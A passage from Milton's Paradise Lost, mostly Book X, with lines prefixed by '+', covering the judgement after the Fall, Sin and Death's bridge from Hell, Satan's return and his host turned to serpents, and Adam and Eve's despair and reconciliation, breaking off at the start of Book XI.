perfection far excelled +Hers in all real dignity? Adorned +She was indeed, and lovely, to attract +Thy love, not thy subjection; and her gifts +Were such, as under government well seemed; +Unseemly to bear rule; which was thy part +And person, hadst thou known thyself aright. +So having said, he thus to Eve in few. +Say, Woman, what is this which thou hast done? +To whom sad Eve, with shame nigh overwhelmed, +Confessing soon, yet not before her Judge +Bold or loquacious, thus abashed replied. +The Serpent me beguiled, and I did eat. +Which when the Lord God heard, without delay +To judgement he proceeded on the accused +Serpent, though brute; unable to transfer +The guilt on him, who made him instrument +Of mischief, and polluted from the end +Of his creation; justly then accursed, +As vitiated in nature: More to know +Concerned not Man, (since he no further knew) +Nor altered his offence; yet God at last +To Satan first in sin his doom applied, +Though in mysterious terms, judged as then best: +And on the Serpent thus his curse let fall. +Because thou hast done this, thou art accursed +Above all cattle, each beast of the field; +Upon thy belly groveling thou shalt go, +And dust shalt eat all the days of thy life. +Between thee and the woman I will put +Enmity, and between thine and her seed; +Her seed shall bruise thy head, thou bruise his heel. +So spake this oracle, then verified +When Jesus, Son of Mary, second Eve, +Saw Satan fall, like lightning, down from Heaven, +Prince of the air; then, rising from his grave +Spoiled Principalities and Powers, triumphed +In open show; and, with ascension bright, +Captivity led captive through the air, +The realm itself of Satan, long usurped; +Whom he shall tread at last under our feet; +Even he, who now foretold his fatal bruise; +And to the Woman thus his sentence turned. +Thy sorrow I will greatly multiply +By thy conception; children thou shalt bring +In sorrow forth; and to thy husband's will +Thine shall submit; he over thee shall rule. +On Adam last thus judgement he pronounced. +Because thou hast hearkened to the voice of thy wife, +And eaten of the tree, concerning which +I charged thee, saying, Thou shalt not eat thereof: +Cursed is the ground for thy sake; thou in sorrow +Shalt eat thereof, all the days of thy life; +Thorns also and thistles it shall bring thee forth +Unbid; and thou shalt eat the herb of the field; +In the sweat of thy face shalt thou eat bread, +Till thou return unto the ground; for thou +Out of the ground wast taken, know thy birth, +For dust thou art, and shalt to dust return. +So judged he Man, both Judge and Saviour sent; +And the instant stroke of death, denounced that day, +Removed far off; then, pitying how they stood +Before him naked to the air, that now +Must suffer change, disdained not to begin +Thenceforth the form of servant to assume; +As when he washed his servants feet; so now, +As father of his family, he clad +Their nakedness with skins of beasts, or slain, +Or as the snake with youthful coat repaid; +And thought not much to clothe his enemies; +Nor he their outward only with the skins +Of beasts, but inward nakedness, much more. +Opprobrious, with his robe of righteousness, +Arraying, covered from his Father's sight. +To him with swift ascent he up returned, +Into his blissful bosom reassumed +In glory, as of old; to him appeased +All, though all-knowing, what had passed with Man +Recounted, mixing intercession sweet. +Mean while, ere thus was sinned and judged on Earth, +Within the gates of Hell sat Sin and Death, +In counterview within the gates, that now +Stood open wide, belching outrageous flame +Far into Chaos, since the Fiend passed through, +Sin opening; who thus now to Death began. +O Son, why sit we here each other viewing +Idly, while Satan, our great author, thrives +In other worlds, and happier seat provides +For us, his offspring dear? It cannot be +But that success attends him; if mishap, +Ere this he had returned, with fury driven +By his avengers; since no place like this +Can fit his punishment, or their revenge. +Methinks I feel new strength within me rise, +Wings growing, and dominion given me large +Beyond this deep; whatever draws me on, +Or sympathy, or some connatural force, +Powerful at greatest distance to unite, +With secret amity, things of like kind, +By secretest conveyance. Thou, my shade +Inseparable, must with me along; +For Death from Sin no power can separate. +But, lest the difficulty of passing back +Stay his return perhaps over this gulf +Impassable, impervious; let us try +Adventurous work, yet to thy power and mine +Not unagreeable, to found a path +Over this main from Hell to that new world, +Where Satan now prevails; a monument +Of merit high to all the infernal host, +Easing their passage hence, for intercourse, +Or transmigration, as their lot shall lead. +Nor can I miss the way, so strongly drawn +By this new-felt attraction and instinct. +Whom thus the meager Shadow answered soon. +Go, whither Fate, and inclination strong, +Leads thee; I shall not lag behind, nor err +The way, thou leading; such a scent I draw +Of carnage, prey innumerable, and taste +The savour of death from all things there that live: +Nor shall I to the work thou enterprisest +Be wanting, but afford thee equal aid. +So saying, with delight he snuffed the smell +Of mortal change on earth. As when a flock +Of ravenous fowl, though many a league remote, +Against the day of battle, to a field, +Where armies lie encamped, come flying, lured +With scent of living carcasses designed +For death, the following day, in bloody fight: +So scented the grim Feature, and upturned +His nostril wide into the murky air; +Sagacious of his quarry from so far. +Then both from out Hell-gates, into the waste +Wide anarchy of Chaos, damp and dark, +Flew diverse; and with power (their power was great) +Hovering upon the waters, what they met +Solid or slimy, as in raging sea +Tost up and down, together crouded drove, +From each side shoaling towards the mouth of Hell; +As when two polar winds, blowing adverse +Upon the Cronian sea, together drive +Mountains of ice, that stop the imagined way +Beyond Petsora eastward, to the rich +Cathaian coast. The aggregated soil +Death with his mace petrifick, cold and dry, +As with a trident, smote; and fixed as firm +As Delos, floating once; the rest his look +Bound with Gorgonian rigour not to move; +And with Asphaltick slime, broad as the gate, +Deep to the roots of Hell the gathered beach +They fastened, and the mole immense wrought on +Over the foaming deep high-arched, a bridge +Of length prodigious, joining to the wall +Immoveable of this now fenceless world, +Forfeit to Death; from hence a passage broad, +Smooth, easy, inoffensive, down to Hell. +So, if great things to small may be compared, +Xerxes, the liberty of Greece to yoke, +From Susa, his Memnonian palace high, +Came to the sea: and, over Hellespont +Bridging his way, Europe with Asia joined, +And scourged with many a stroke the indignant waves. +Now had they brought the work by wonderous art +Pontifical, a ridge of pendant rock, +Over the vexed abyss, following the track +Of Satan to the self-same place where he +First lighted from his wing, and landed safe +From out of Chaos, to the outside bare +Of this round world: With pins of adamant +And chains they made all fast, too fast they made +And durable! And now in little space +The confines met of empyrean Heaven, +And of this World; and, on the left hand, Hell +With long reach interposed; three several ways +In sight, to each of these three places led. +And now their way to Earth they had descried, +To Paradise first tending; when, behold! +Satan, in likeness of an Angel bright, +Betwixt the Centaur and the Scorpion steering +His zenith, while the sun in Aries rose: +Disguised he came; but those his children dear +Their parent soon discerned, though in disguise. +He, after Eve seduced, unminded slunk +Into the wood fast by; and, changing shape, +To observe the sequel, saw his guileful act +By Eve, though all unweeting, seconded +Upon her husband; saw their shame that sought +Vain covertures; but when he saw descend +The Son of God to judge them, terrified +He fled; not hoping to escape, but shun +The present; fearing, guilty, what his wrath +Might suddenly inflict; that past, returned +By night, and listening where the hapless pair +Sat in their sad discourse, and various plaint, +Thence gathered his own doom; which understood +Not instant, but of future time, with joy +And tidings fraught, to Hell he now returned; +And at the brink of Chaos, near the foot +Of this new wonderous pontifice, unhoped +Met, who to meet him came, his offspring dear. +Great joy was at their meeting, and at sight +Of that stupendious bridge his joy encreased. +Long he admiring stood, till Sin, his fair +Enchanting daughter, thus the silence broke. +O Parent, these are thy magnifick deeds, +Thy trophies! which thou viewest as not thine own; +Thou art their author, and prime architect: +For I no sooner in my heart divined, +My heart, which by a secret harmony +Still moves with thine, joined in connexion sweet, +That thou on earth hadst prospered, which thy looks +Now also evidence, but straight I felt, +Though distant from thee worlds between, yet felt, +That I must after thee, with this thy son; +Such fatal consequence unites us three! +Hell could no longer hold us in our bounds, +Nor this unvoyageable gulf obscure +Detain from following thy illustrious track. +Thou hast achieved our liberty, confined +Within Hell-gates till now; thou us impowered +To fortify thus far, and overlay, +With this portentous bridge, the dark abyss. +Thine now is all this world; thy virtue hath won +What thy hands builded not; thy wisdom gained +With odds what war hath lost, and fully avenged +Our foil in Heaven; here thou shalt monarch reign, +There didst not; there let him still victor sway, +As battle hath adjudged; from this new world +Retiring, by his own doom alienated; +And henceforth monarchy with thee divide +Of all things, parted by the empyreal bounds, +His quadrature, from thy orbicular world; +Or try thee now more dangerous to his throne. +Whom thus the Prince of darkness answered glad. +Fair Daughter, and thou Son and Grandchild both; +High proof ye now have given to be the race +Of Satan (for I glory in the name, +Antagonist of Heaven's Almighty King,) +Amply have merited of me, of all +The infernal empire, that so near Heaven's door +Triumphal with triumphal act have met, +Mine, with this glorious work; and made one realm, +Hell and this world, one realm, one continent +Of easy thorough-fare. Therefore, while I +Descend through darkness, on your road with ease, +To my associate Powers, them to acquaint +With these successes, and with them rejoice; +You two this way, among these numerous orbs, +All yours, right down to Paradise descend; +There dwell, and reign in bliss; thence on the earth +Dominion exercise and in the air, +Chiefly on Man, sole lord of all declared; +Him first make sure your thrall, and lastly kill. +My substitutes I send ye, and create +Plenipotent on earth, of matchless might +Issuing from me: on your joint vigour now +My hold of this new kingdom all depends, +Through Sin to Death exposed by my exploit. +If your joint power prevail, the affairs of Hell +No detriment need fear; go, and be strong! +So saying he dismissed them; they with speed +Their course through thickest constellations held, +Spreading their bane; the blasted stars looked wan, +And planets, planet-struck, real eclipse +Then suffered. The other way Satan went down +The causey to Hell-gate: On either side +Disparted Chaos overbuilt exclaimed, +And with rebounding surge the bars assailed, +That scorned his indignation: Through the gate, +Wide open and unguarded, Satan passed, +And all about found desolate; for those, +Appointed to sit there, had left their charge, +Flown to the upper world; the rest were all +Far to the inland retired, about the walls +Of Pandemonium; city and proud seat +Of Lucifer, so by allusion called +Of that bright star to Satan paragoned; +There kept their watch the legions, while the Grand +In council sat, solicitous what chance +Might intercept their emperour sent; so he +Departing gave command, and they observed. +As when the Tartar from his Russian foe, +By Astracan, over the snowy plains, +Retires; or Bactrin Sophi, from the horns +Of Turkish crescent, leaves all waste beyond +The realm of Aladule, in his retreat +To Tauris or Casbeen: So these, the late +Heaven-banished host, left desart utmost Hell +Many a dark league, reduced in careful watch +Round their metropolis; and now expecting +Each hour their great adventurer, from the search +Of foreign worlds: He through the midst unmarked, +In show plebeian Angel militant +Of lowest order, passed; and from the door +Of that Plutonian hall, invisible +Ascended his high throne; which, under state +Of richest texture spread, at the upper end +Was placed in regal lustre. Down a while +He sat, and round about him saw unseen: +At last, as from a cloud, his fulgent head +And shape star-bright appeared, or brighter; clad +With what permissive glory since his fall +Was left him, or false glitter: All amazed +At that so sudden blaze the Stygian throng +Bent their aspect, and whom they wished beheld, +Their mighty Chief returned: loud was the acclaim: +Forth rushed in haste the great consulting peers, +Raised from their dark Divan, and with like joy +Congratulant approached him; who with hand +Silence, and with these words attention, won. +Thrones, Dominations, Princedoms, Virtues, Powers; +For in possession such, not only of right, +I call ye, and declare ye now; returned +Successful beyond hope, to lead ye forth +Triumphant out of this infernal pit +Abominable, accursed, the house of woe, +And dungeon of our tyrant: Now possess, +As Lords, a spacious world, to our native Heaven +Little inferiour, by my adventure hard +With peril great achieved. Long were to tell +What I have done; what suffered;with what pain +Voyaged th' unreal, vast, unbounded deep +Of horrible confusion; over which +By Sin and Death a broad way now is paved, +To expedite your glorious march; but I +Toiled out my uncouth passage, forced to ride +The untractable abyss, plunged in the womb +Of unoriginal Night and Chaos wild; +That, jealous of their secrets, fiercely opposed +My journey strange, with clamorous uproar +Protesting Fate supreme; thence how I found +The new created world, which fame in Heaven +Long had foretold, a fabrick wonderful +Of absolute perfection! therein Man +Placed in a Paradise, by our exile +Made happy: Him by fraud I have seduced +From his Creator; and, the more to encrease +Your wonder, with an apple; he, thereat +Offended, worth your laughter! hath given up +Both his beloved Man, and all his world, +To Sin and Death a prey, and so to us, +Without our hazard, labour, or alarm; +To range in, and to dwell, and over Man +To rule, as over all he should have ruled. +True is, me also he hath judged, or rather +Me not, but the brute serpent in whose shape +Man I deceived: that which to me belongs, +Is enmity which he will put between +Me and mankind; I am to bruise his heel; +His seed, when is not set, shall bruise my head: +A world who would not purchase with a bruise, +Or much more grievous pain?--Ye have the account +Of my performance: What remains, ye Gods, +But up, and enter now into full bliss? +So having said, a while he stood, expecting +Their universal shout, and high applause, +To fill his ear; when, contrary, he hears +On all sides, from innumerable tongues, +A dismal universal hiss, the sound +Of publick scorn; he wondered, but not long +Had leisure, wondering at himself now more, +His visage drawn he felt to sharp and spare; +His arms clung to his ribs; his legs entwining +Each other, till supplanted down he fell +A monstrous serpent on his belly prone, +Reluctant, but in vain; a greater power +Now ruled him, punished in the shape he sinned, +According to his doom: he would have spoke, +But hiss for hiss returned with forked tongue +To forked tongue; for now were all transformed +Alike, to serpents all, as accessories +To his bold riot: Dreadful was the din +Of hissing through the hall, thick swarming now +With complicated monsters head and tail, +Scorpion, and Asp, and Amphisbaena dire, +Cerastes horned, Hydrus, and Elops drear, +And Dipsas; (not so thick swarmed once the soil +Bedropt with blood of Gorgon, or the isle +Ophiusa,) but still greatest he the midst, +Now Dragon grown, larger than whom the sun +Ingendered in the Pythian vale or slime, +Huge Python, and his power no less he seemed +Above the rest still to retain; they all +Him followed, issuing forth to the open field, +Where all yet left of that revolted rout, +Heaven-fallen, in station stood or just array; +Sublime with expectation when to see +In triumph issuing forth their glorious Chief; +They saw, but other sight instead! a croud +Of ugly serpents; horrour on them fell, +And horrid sympathy; for, what they saw, +They felt themselves, now changing; down their arms, +Down fell both spear and shield; down they as fast; +And the dire hiss renewed, and the dire form +Catched, by contagion; like in punishment, +As in their crime. Thus was the applause they meant, +Turned to exploding hiss, triumph to shame +Cast on themselves from their own mouths. There stood +A grove hard by, sprung up with this their change, +His will who reigns above, to aggravate +Their penance, laden with fair fruit, like that +Which grew in Paradise, the bait of Eve +Used by the Tempter: on that prospect strange +Their earnest eyes they fixed, imagining +For one forbidden tree a multitude +Now risen, to work them further woe or shame; +Yet, parched with scalding thirst and hunger fierce, +Though to delude them sent, could not abstain; +But on they rolled in heaps, and, up the trees +Climbing, sat thicker than the snaky locks +That curled Megaera: greedily they plucked +The fruitage fair to sight, like that which grew +Near that bituminous lake where Sodom flamed; +This more delusive, not the touch, but taste +Deceived; they, fondly thinking to allay +Their appetite with gust, instead of fruit +Chewed bitter ashes, which the offended taste +With spattering noise rejected: oft they assayed, +Hunger and thirst constraining; drugged as oft, +With hatefullest disrelish writhed their jaws, +With soot and cinders filled; so oft they fell +Into the same illusion, not as Man +Whom they triumphed once lapsed. Thus were they plagued +And worn with famine, long and ceaseless hiss, +Till their lost shape, permitted, they resumed; +Yearly enjoined, some say, to undergo, +This annual humbling certain numbered days, +To dash their pride, and joy, for Man seduced. +However, some tradition they dispersed +Among the Heathen, of their purchase got, +And fabled how the Serpent, whom they called +Ophion, with Eurynome, the wide-- +Encroaching Eve perhaps, had first the rule +Of high Olympus; thence by Saturn driven +And Ops, ere yet Dictaean Jove was born. +Mean while in Paradise the hellish pair +Too soon arrived; Sin, there in power before, +Once actual; now in body, and to dwell +Habitual habitant; behind her Death, +Close following pace for pace, not mounted yet +On his pale horse: to whom Sin thus began. +Second of Satan sprung, all-conquering Death! +What thinkest thou of our empire now, though earned +With travel difficult, not better far +Than still at Hell's dark threshold to have sat watch, +Unnamed, undreaded, and thyself half starved? +Whom thus the Sin-born monster answered soon. +To me, who with eternal famine pine, +Alike is Hell, or Paradise, or Heaven; +There best, where most with ravine I may meet; +Which here, though plenteous, all too little seems +To stuff this maw, this vast unhide-bound corps. +To whom the incestuous mother thus replied. +Thou therefore on these herbs, and fruits, and flowers, +Feed first; on each beast next, and fish, and fowl; +No homely morsels! and, whatever thing +The sithe of Time mows down, devour unspared; +Till I, in Man residing, through the race, +His thoughts, his looks, words, actions, all infect; +And season him thy last and sweetest prey. +This said, they both betook them several ways, +Both to destroy, or unimmortal make +All kinds, and for destruction to mature +Sooner or later; which the Almighty seeing, +From his transcendent seat the Saints among, +To those bright Orders uttered thus his voice. +See, with what heat these dogs of Hell advance +To waste and havock yonder world, which I +So fair and good created; and had still +Kept in that state, had not the folly of Man +Let in these wasteful furies, who impute +Folly to me; so doth the Prince of Hell +And his adherents, that with so much ease +I suffer them to enter and possess +A place so heavenly; and, conniving, seem +To gratify my scornful enemies, +That laugh, as if, transported with some fit +Of passion, I to them had quitted all, +At random yielded up to their misrule; +And know not that I called, and drew them thither, +My Hell-hounds, to lick up the draff and filth +Which Man's polluting sin with taint hath shed +On what was pure; til, crammed and gorged, nigh burst +With sucked and glutted offal, at one sling +Of thy victorious arm, well-pleasing Son, +Both Sin, and Death, and yawning Grave, at last, +Through Chaos hurled, obstruct the mouth of Hell +For ever, and seal up his ravenous jaws. +Then Heaven and Earth renewed shall be made pure +To sanctity, that shall receive no stain: +Till then, the curse pronounced on both precedes. +He ended, and the heavenly audience loud +Sung Halleluiah, as the sound of seas, +Through multitude that sung: Just are thy ways, +Righteous are thy decrees on all thy works; +Who can extenuate thee? Next, to the Son, +Destined Restorer of mankind, by whom +New Heaven and Earth shall to the ages rise, +Or down from Heaven descend.--Such was their song; +While the Creator, calling forth by name +His mighty Angels, gave them several charge, +As sorted best with present things. The sun +Had first his precept so to move, so shine, +As might affect the earth with cold and heat +Scarce tolerable; and from the north to call +Decrepit winter; from the south to bring +Solstitial summer's heat. To the blanc moon +Her office they prescribed; to the other five +Their planetary motions, and aspects, +In sextile, square, and trine, and opposite, +Of noxious efficacy, and when to join +In synod unbenign; and taught the fixed +Their influence malignant when to shower, +Which of them rising with the sun, or falling, +Should prove tempestuous: To the winds they set +Their corners, when with bluster to confound +Sea, air, and shore; the thunder when to roll +With terrour through the dark aereal hall. +Some say, he bid his Angels turn ascanse +The poles of earth, twice ten degrees and more, +From the sun's axle; they with labour pushed +Oblique the centrick globe: Some say, the sun +Was bid turn reins from the equinoctial road +Like distant breadth to Taurus with the seven +Atlantick Sisters, and the Spartan Twins, +Up to the Tropick Crab: thence down amain +By Leo, and the Virgin, and the Scales, +As deep as Capricorn; to bring in change +Of seasons to each clime; else had the spring +Perpetual smiled on earth with vernant flowers, +Equal in days and nights, except to those +Beyond the polar circles; to them day +Had unbenighted shone, while the low sun, +To recompense his distance, in their sight +Had rounded still the horizon, and not known +Or east or west; which had forbid the snow +From cold Estotiland, and south as far +Beneath Magellan. At that tasted fruit +The sun, as from Thyestean banquet, turned +His course intended; else, how had the world +Inhabited, though sinless, more than now, +Avoided pinching cold and scorching heat? +These changes in the Heavens, though slow, produced +Like change on sea and land; sideral blast, +Vapour, and mist, and exhalation hot, +Corrupt and pestilent: Now from the north +Of Norumbega, and the Samoed shore, +Bursting their brazen dungeon, armed with ice, +And snow, and hail, and stormy gust and flaw, +Boreas, and Caecias, and Argestes loud, +And Thrascias, rend the woods, and seas upturn; +With adverse blast upturns them from the south +Notus, and Afer black with thunderous clouds +From Serraliona; thwart of these, as fierce, +Forth rush the Levant and the Ponent winds, +Eurus and Zephyr, with their lateral noise, +Sirocco and Libecchio. Thus began +Outrage from lifeless things; but Discord first, +Daughter of Sin, among the irrational +Death introduced, through fierce antipathy: +Beast now with beast 'gan war, and fowl with fowl, +And fish with fish; to graze the herb all leaving, +Devoured each other; nor stood much in awe +Of Man, but fled him; or, with countenance grim, +Glared on him passing. These were from without +The growing miseries, which Adam saw +Already in part, though hid in gloomiest shade, +To sorrow abandoned, but worse felt within; +And, in a troubled sea of passion tost, +Thus to disburden sought with sad complaint. +O miserable of happy! Is this the end +Of this new glorious world, and me so late +The glory of that glory, who now become +Accursed, of blessed? hide me from the face +Of God, whom to behold was then my highth +Of happiness!--Yet well, if here would end +The misery; I deserved it, and would bear +My own deservings; but this will not serve: +All that I eat or drink, or shall beget, +Is propagated curse. O voice, once heard +Delightfully, Encrease and multiply; +Now death to hear! for what can I encrease, +Or multiply, but curses on my head? +Who of all ages to succeed, but, feeling +The evil on him brought by me, will curse +My head? Ill fare our ancestor impure, +For this we may thank Adam! but his thanks +Shall be the execration: so, besides +Mine own that bide upon me, all from me +Shall with a fierce reflux on me rebound; +On me, as on their natural center, light +Heavy, though in their place. O fleeting joys +Of Paradise, dear bought with lasting woes! +Did I request thee, Maker, from my clay +To mould me Man? did I solicit thee +From darkness to promote me, or here place +In this delicious garden? As my will +Concurred not to my being, it were but right +And equal to reduce me to my dust; +Desirous to resign and render back +All I received; unable to perform +Thy terms too hard, by which I was to hold +The good I sought not. To the loss of that, +Sufficient penalty, why hast thou added +The sense of endless woes? Inexplicable +Why am I mocked with death, and lengthened out +To deathless pain? How gladly would I meet +Mortality my sentence, and be earth +Insensible! How glad would lay me down +As in my mother's lap! There I should rest, +And sleep secure; his dreadful voice no more +Would thunder in my ears; no fear of worse +To me, and to my offspring, would torment me +With cruel expectation. Yet one doubt +Pursues me still, lest all I cannot die; +Lest that pure breath of life, the spirit of Man +Which God inspired, cannot together perish +With this corporeal clod; then, in the grave, +Or in some other dismal place, who knows +But I shall die a living death? O thought +Horrid, if true! Yet why? It was but breath +Of life that sinned; what dies but what had life +And sin? The body properly had neither, +All of me then shall die: let this appease +The doubt, since human reach no further knows. +For though the Lord of all be infinite, +Is his wrath also? Be it, Man is not so, +But mortal doomed. How can he exercise +Wrath without end on Man, whom death must end? +Can he make deathless death? That were to make +Strange contradiction, which to God himself +Impossible is held; as argument +Of weakness, not of power. Will he draw out, +For anger's sake, finite to infinite, +In punished Man, to satisfy his rigour, +Satisfied never? That were to extend +His sentence beyond dust and Nature's law; +By which all causes else, according still +To the reception of their matter, act; +Not to the extent of their own sphere. But say +That death be not one stroke, as I supposed, +Bereaving sense, but endless misery +From this day onward; which I feel begun +Both in me, and without me; and so last +To perpetuity;--Ay me!that fear +Comes thundering back with dreadful revolution +On my defenceless head; both Death and I +Am found eternal, and incorporate both; +Nor I on my part single; in me all +Posterity stands cursed: Fair patrimony +That I must leave ye, Sons! O, were I able +To waste it all myself, and leave ye none! +So disinherited, how would you bless +Me, now your curse! Ah, why should all mankind, +For one man's fault, thus guiltless be condemned, +It guiltless? But from me what can proceed, +But all corrupt; both mind and will depraved +Not to do only, but to will the same +With me? How can they then acquitted stand +In sight of God? Him, after all disputes, +Forced I absolve: all my evasions vain, +And reasonings, though through mazes, lead me still +But to my own conviction: first and last +On me, me only, as the source and spring +Of all corruption, all the blame lights due; +So might the wrath! Fond wish!couldst thou support +That burden, heavier than the earth to bear; +Than all the world much heavier, though divided +With that bad Woman? Thus, what thou desirest, +And what thou fearest, alike destroys all hope +Of refuge, and concludes thee miserable +Beyond all past example and future; +To Satan only like both crime and doom. +O Conscience! into what abyss of fears +And horrours hast thou driven me; out of which +I find no way, from deep to deeper plunged! +Thus Adam to himself lamented loud, +Through the still night; not now, as ere Man fell, +Wholesome, and cool, and mild, but with black air +Accompanied; with damps, and dreadful gloom; +Which to his evil conscience represented +All things with double terrour: On the ground +Outstretched he lay, on the cold ground; and oft +Cursed his creation; Death as oft accused +Of tardy execution, since denounced +The day of his offence. Why comes not Death, +Said he, with one thrice-acceptable stroke +To end me? Shall Truth fail to keep her word, +Justice Divine not hasten to be just? +But Death comes not at call; Justice Divine +Mends not her slowest pace for prayers or cries, +O woods, O fountains, hillocks, dales, and bowers! +With other echo late I taught your shades +To answer, and resound far other song.-- +Whom thus afflicted when sad Eve beheld, +Desolate where she sat, approaching nigh, +Soft words to his fierce passion she assayed: +But her with stern regard he thus repelled. +Out of my sight, thou Serpent! That name best +Befits thee with him leagued, thyself as false +And hateful; nothing wants, but that thy shape, +Like his, and colour serpentine, may show +Thy inward fraud; to warn all creatures from thee +Henceforth; lest that too heavenly form, pretended +To hellish falshood, snare them! But for thee +I had persisted happy; had not thy pride +And wandering vanity, when least was safe, +Rejected my forewarning, and disdained +Not to be trusted; longing to be seen, +Though by the Devil himself; him overweening +To over-reach; but, with the serpent meeting, +Fooled and beguiled; by him thou, I by thee +To trust thee from my side; imagined wise, +Constant, mature, proof against all assaults; +And understood not all was but a show, +Rather than solid virtue; all but a rib +Crooked by nature, bent, as now appears, +More to the part sinister, from me drawn; +Well if thrown out, as supernumerary +To my just number found. O! why did God, +Creator wise, that peopled highest Heaven +With Spirits masculine, create at last +This novelty on earth, this fair defect +Of nature, and not fill the world at once +With Men, as Angels, without feminine; +Or find some other way to generate +Mankind? This mischief had not been befallen, +And more that shall befall; innumerable +Disturbances on earth through female snares, +And strait conjunction with this sex: for either +He never shall find out fit mate, but such +As some misfortune brings him, or mistake; +Or whom he wishes most shall seldom gain +Through her perverseness, but shall see her gained +By a far worse; or, if she love, withheld +By parents; or his happiest choice too late +Shall meet, already linked and wedlock-bound +To a fell adversary, his hate or shame: +Which infinite calamity shall cause +To human life, and houshold peace confound. +He added not, and from her turned; but Eve, +Not so repulsed, with tears that ceased not flowing +And tresses all disordered, at his feet +Fell humble; and, embracing them, besought +His peace, and thus proceeded in her plaint. +Forsake me not thus, Adam! witness Heaven +What love sincere, and reverence in my heart +I bear thee, and unweeting have offended, +Unhappily deceived! Thy suppliant +I beg, and clasp thy knees; bereave me not, +Whereon I live, thy gentle looks, thy aid, +Thy counsel, in this uttermost distress, +My only strength and stay: Forlorn of thee, +Whither shall I betake me, where subsist? +While yet we live, scarce one short hour perhaps, +Between us two let there be peace; both joining, +As joined in injuries, one enmity +Against a foe by doom express assigned us, +That cruel Serpent: On me exercise not +Thy hatred for this misery befallen; +On me already lost, me than thyself +More miserable! Both have sinned;but thou +Against God only; I against God and thee; +And to the place of judgement will return, +There with my cries importune Heaven; that all +The sentence, from thy head removed, may light +On me, sole cause to thee of all this woe; +Me, me only, just object of his ire! +She ended weeping; and her lowly plight, +Immoveable, till peace obtained from fault +Acknowledged and deplored, in Adam wrought +Commiseration: Soon his heart relented +Towards her, his life so late, and sole delight, +Now at his feet submissive in distress; +Creature so fair his reconcilement seeking, +His counsel, whom she had displeased, his aid: +As one disarmed, his anger all he lost, +And thus with peaceful words upraised her soon. +Unwary, and too desirous, as before, +So now of what thou knowest not, who desirest +The punishment all on thyself; alas! +Bear thine own first, ill able to sustain +His full wrath, whose thou feelest as yet least part, +And my displeasure bearest so ill. If prayers +Could alter high decrees, I to that place +Would speed before thee, and be louder heard, +That on my head all might be visited; +Thy frailty and infirmer sex forgiven, +To me committed, and by me exposed. +But rise;--let us no more contend, nor blame +Each other, blamed enough elsewhere; but strive +In offices of love, how we may lighten +Each other's burden, in our share of woe; +Since this day's death denounced, if aught I see, +Will prove no sudden, but a slow-paced evil; +A long day's dying, to augment our pain; +And to our seed (O hapless seed!) derived. +To whom thus Eve, recovering heart, replied. +Adam, by sad experiment I know +How little weight my words with thee can find, +Found so erroneous; thence by just event +Found so unfortunate: Nevertheless, +Restored by thee, vile as I am, to place +Of new acceptance, hopeful to regain +Thy love, the sole contentment of my heart +Living or dying, from thee I will not hide +What thoughts in my unquiet breast are risen, +Tending to some relief of our extremes, +Or end; though sharp and sad, yet tolerable, +As in our evils, and of easier choice. +If care of our descent perplex us most, +Which must be born to certain woe, devoured +By Death at last; and miserable it is +To be to others cause of misery, +Our own begotten, and of our loins to bring +Into this cursed world a woeful race, +That after wretched life must be at last +Food for so foul a monster; in thy power +It lies, yet ere conception to prevent +The race unblest, to being yet unbegot. +Childless thou art, childless remain: so Death +Shall be deceived his glut, and with us two +Be forced to satisfy his ravenous maw. +But if thou judge it hard and difficult, +Conversing, looking, loving, to abstain +From love's due rights, nuptial embraces sweet; +And with desire to languish without hope, +Before the present object languishing +With like desire; which would be misery +And torment less than none of what we dread; +Then, both ourselves and seed at once to free +From what we fear for both, let us make short, -- +Let us seek Death; -- or, he not found, supply +With our own hands his office on ourselves: +Why stand we longer shivering under fears, +That show no end but death, and have the power, +Of many ways to die the shortest choosing, +Destruction with destruction to destroy? -- +She ended here, or vehement despair +Broke off the rest: so much of death her thoughts +Had entertained, as dyed her cheeks with pale. +But Adam, with such counsel nothing swayed, +To better hopes his more attentive mind +Labouring had raised; and thus to Eve replied. +Eve, thy contempt of life and pleasure seems +To argue in thee something more sublime +And excellent, than what thy mind contemns; +But self-destruction therefore sought, refutes +That excellence thought in thee; and implies, +Not thy contempt, but anguish and regret +For loss of life and pleasure overloved. +Or if thou covet death, as utmost end +Of misery, so thinking to evade +The penalty pronounced; doubt not but God +Hath wiselier armed his vengeful ire, than so +To be forestalled; much more I fear lest death, +So snatched, will not exempt us from the pain +We are by doom to pay; rather, such acts +Of contumacy will provoke the Highest +To make death in us live: Then let us seek +Some safer resolution, which methinks +I have in view, calling to mind with heed +Part of our sentence, that thy seed shall bruise +The Serpent's head; piteous amends! unless +Be meant, whom I conjecture, our grand foe, +Satan; who, in the serpent, hath contrived +Against us this deceit: To crush his head +Would be revenge indeed! which will be lost +By death brought on ourselves, or childless days +Resolved, as thou proposest; so our foe +Shal 'scape his punishment ordained, and we +Instead shall double ours upon our heads. +No more be mentioned then of violence +Against ourselves; and wilful barrenness, +That cuts us off from hope; and savours only +Rancour and pride, impatience and despite, +Reluctance against God and his just yoke +Laid on our necks. Remember with what mild +And gracious temper he both heard, and judged, +Without wrath or reviling; we expected +Immediate dissolution, which we thought +Was meant by death that day; when lo!to thee +Pains only in child-bearing were foretold, +And bringing forth; soon recompensed with joy, +Fruit of thy womb: On me the curse aslope +Glanced on the ground; with labour I must earn +My bread; what harm? Idleness had been worse; +My labour will sustain me; and, lest cold +Or heat should injure us, his timely care +Hath, unbesought, provided; and his hands +Clothed us unworthy, pitying while he judged; +How much more, if we pray him, will his ear +Be open, and his heart to pity incline, +And teach us further by what means to shun +The inclement seasons, rain, ice, hail, and snow! +Which now the sky, with various face, begins +To show us in this mountain; while the winds +Blow moist and keen, shattering the graceful locks +Of these fair spreading trees; which bids us seek +Some better shroud, some better warmth to cherish +Our limbs benummed, ere this diurnal star +Leave cold the night, how we his gathered beams +Reflected may with matter sere foment; +Or, by collision of two bodies, grind +The air attrite to fire; as late the clouds +Justling, or pushed with winds, rude in their shock, +Tine the slant lightning; whose thwart flame, driven down +Kindles the gummy bark of fir or pine; +And sends a comfortable heat from far, +Which might supply the sun: Such fire to use, +And what may else be remedy or cure +To evils which our own misdeeds have wrought, +He will instruct us praying, and of grace +Beseeching him; so as we need not fear +To pass commodiously this life, sustained +By him with many comforts, till we end +In dust, our final rest and native home. +What better can we do, than, to the place +Repairing where he judged us, prostrate fall +Before him reverent; and there confess +Humbly our faults, and pardon beg; with tears +Watering the ground, and with our sighs the air +Frequenting, sent from hearts contrite, in sign +Of sorrow unfeigned, and humiliation meek + + + +Book XI + + +Undoubtedly he will relent, and turn +From his displeasure; in whose look serene, +When angry most he seemed and most severe, +What else but favour, grace, and mercy, shone? +So spake our father penitent; nor Eve 